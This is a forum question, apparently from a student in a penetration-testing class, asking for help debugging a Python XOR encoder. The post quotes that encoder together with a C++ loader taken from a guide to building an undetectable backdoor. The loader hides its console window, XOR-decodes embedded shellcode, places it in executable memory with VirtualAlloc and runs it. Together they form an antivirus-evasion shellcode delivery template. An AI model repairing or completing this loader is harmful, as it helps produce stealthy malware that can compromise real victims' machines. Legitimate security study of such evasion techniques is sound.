I am working on a project for my college cybersecurity class on penetration testing. I have found a site (https://macrosec.tech/index.php/2020/09/20/creating-a-fud-backdoor/) that has python code for an xor encryptor as well as c++ code for a loader. The python code is meant to be run in the command line taking an input file and specifying an output file. For example, you would run the code by running python xor_file.py sample.txt > output_file.txt. However, when I run the code it doesn’t work. I am very inexperienced with encryption and python so any help would be greatly appreciated. The code is below.
`

import sys
KEY = 'x'
def xor(data, key):

    key = str(key)

    l = len(key)

    output_str=""

    for i in range(len(data)):

        current = data[i]

        current_key = key[i % len(key)]

        output_str += chr(ord(current) ^ ord(current_key))
    return output_str

def printCiphertext(ciphertext):
    print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")
try:
    plaintext = open(sys.argv[1], 'rb').read()
except:
    print('File argument needed! %s ' % sys.argv[0])

    sys.exit()

ciphertext = xor(plaintext, KEY)
print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")

The loader code is as follows:

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {

    ShowWindow(GetConsoleWindow(), SW_HIDE);

    char b[] = {/* your XORd, with key of ‘x’, shellcode goes here i.e. 0x4C,0x4F, 0x4C */};

    char c[sizeof b];

    for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}

    void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, c, sizeof c);

    ((void(*)())exec)();

}

I have messed around with it a bit but every time I fix an error a new one replaces it.